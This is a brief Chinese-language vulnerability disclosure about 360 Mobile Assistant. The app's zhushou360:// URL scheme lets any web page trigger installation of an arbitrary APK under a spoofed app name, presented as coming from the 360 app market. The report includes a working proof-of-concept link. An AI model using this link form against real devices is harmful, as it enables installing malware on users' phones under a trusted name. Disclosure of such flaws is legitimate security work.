360手机助手任意应用下载安装 通过360手机安装apk未验证apk的安全性和来源 任意设置应用名和下载链接 看下面链接
只有安装了360软件 任意浏览器打开下面链接即可
zhushou360://type=apk&name=360安全助手&url=http://127.0.0.1/1.apk
name 和url 可以任意修改
软件来源而且是 360应用市场
修复方法：
360的黑客大牛多得很，我一个朋友就在核心部门，不透露名字了，抓紧时间修复漏洞吧